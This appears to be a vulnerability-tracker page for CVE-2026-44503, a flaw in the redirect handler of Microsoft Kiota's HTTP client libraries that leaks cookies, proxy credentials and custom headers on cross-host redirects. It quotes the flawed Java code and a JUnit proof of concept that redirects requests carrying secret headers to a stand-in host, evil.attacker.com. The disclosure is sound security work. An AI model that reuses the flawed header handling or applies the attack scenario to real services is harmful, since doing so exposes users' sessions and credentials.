Skip to main content

Microsoft Kiota CVE-2026-44503

| EUVD-2026-30323 HIGH
URL Redirection to Untrusted Site (Open Redirect) (CWE-601)
2026-05-07 https://github.com/microsoft/kiota-java GHSA-7j59-v9qr-6fq9
7.0
CVSS 4.0
Share

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
X

Lifecycle Timeline

6
Analysis Updated
May 14, 2026 - 16:29 vuln.today
v2 (cvss_changed)
Re-analysis Queued
May 14, 2026 - 16:22 vuln.today
cvss_changed
CVSS changed
May 14, 2026 - 16:22 NVD
7.0 (HIGH)
Source Code Evidence Fetched
May 07, 2026 - 02:16 vuln.today
Analysis Generated
May 07, 2026 - 02:16 vuln.today
CVE Published
May 07, 2026 - 01:49 nvd
HIGH

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 9 maven packages depend on com.microsoft.kiota:microsoft-kiota-abstractions (7 direct, 2 indirect)

Ecosystem-wide dependent count for version 1.9.1.

DescriptionNVD

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

  1. Clone the repository:

git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java

  1. Create the PoC test file at:

components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}
  1. Run the tests:

./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"

  1. Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures.

Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

  • Session hijacking via leaked Cookie headers
  • Corporate proxy credential theft via leaked Proxy-Authorization
  • API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

AnalysisAI

Cross-host HTTP redirects in Microsoft Kiota HTTP client libraries leak session cookies, proxy credentials, and custom authentication headers to attacker-controlled domains. When Kiota's RedirectHandler middleware follows 3xx redirects to different hosts (e.g., trusted.example.com → evil.attacker.com), it strips the Authorization header but forwards Cookie, Proxy-Authorization, and all custom headers unchanged. …

Sign in for full analysis, threat intelligence, and remediation guidance.

RemediationAI

Within 24 hours: identify all internal applications and services using Kiota HTTP client libraries or Microsoft Graph SDK for Java (scan dependency manifests, package registries, and build artifacts). Within 7 days: apply vendor-released patches to all affected Kiota packages across all language implementations and dependent SDKs; prioritize production systems. …

Sign in for detailed remediation steps.

Share

CVE-2026-44503 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy